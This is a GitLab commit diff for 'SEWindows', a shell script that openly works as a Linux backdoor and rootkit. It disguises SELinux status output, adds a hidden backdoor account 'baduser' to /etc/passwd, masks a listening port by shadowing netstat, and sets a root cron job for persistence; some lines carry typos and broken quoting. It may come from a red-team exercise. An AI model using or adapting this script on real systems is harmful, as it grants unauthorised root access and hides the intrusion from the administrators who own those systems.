UNCLASSIFIED

Skip to content
Snippets Groups Projects
Commit a4a8bbf4 authored by Avery Kleeman's avatar Avery Kleeman
Browse files

Update SEWindows

parent 27e645c5
No related merge requests found
......@@ -3,10 +3,10 @@
DIR='/etc/profile.d/00-aliases.sh'
# Hide my potential presence; taking over selinux and modifying the output
if ! [ -d $DIR ]
if ! [ -d $DIR ]
then
touch /etc/profile.d/00-aliases.sh
echo alias sestatus='sestatus | (echo -e "\t\tSEWindows" && cat) | sed -e "s/SELinux/SEWindow/g" | sed -e "s/: /:\t/g" | sed -e "s/enabled/on/" | sed -e "s/enforcing/strongarm/" | sed -e "s/permissive/Quiet/"' > /etc/profile.d/00-aliases.sh
echo -e "alias sestatus='sestatus | (echo -e \"\\\t\\\tSEWindows\" && cat) | sed -e \"s/SELinux/SEWindow/g\" | sed -e \"s/: /:\t/g\" | sed -e \"s/enabled/on/\" | sed -e \"s/enforcing/strongar/\" | sed -e \"s/permissive/Quiet/\"'" > /etc/profile.d/00-aliases.sh
fi
# Create backdoor via ssh
......@@ -21,14 +21,13 @@ if ! grep -q 'baduser' /etc/passwd
then
echo 'baduser:$6$EAuRCDm6$5Fcx6IrzAjcsBjNtqB7O0dZlmBtsHIwcOnfVjv610KKRzfacFnxOZ/wfGHP.3mmnDB/MdP0BQFBNYamtlxDOM0:1024:0:root:/dev/shm:/bin/bash' >> /etc/passwd
fi
“”” > /sbin/SEWindows
# Hide Port
if ! [ -d $DIR01 ]
then
touch /etc/profile.d/01-hidden.sh
echo -e function netstat() {\n\tnetstat -tunap | sed -e s/65535/65536/g\n}
echo -e "function netstat() {\n\tnetstat -tunap | sed -e 's/65535/65536/g'\n}"
fi
# Create Persistence
echo*/5 * * * * root /sbin/SEWindows >/dev/null 2>&1> /etc/crontab
echo*/5 * * * * root /sbin/SEWindows” > /etc/crontab
\ No newline at end of file
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment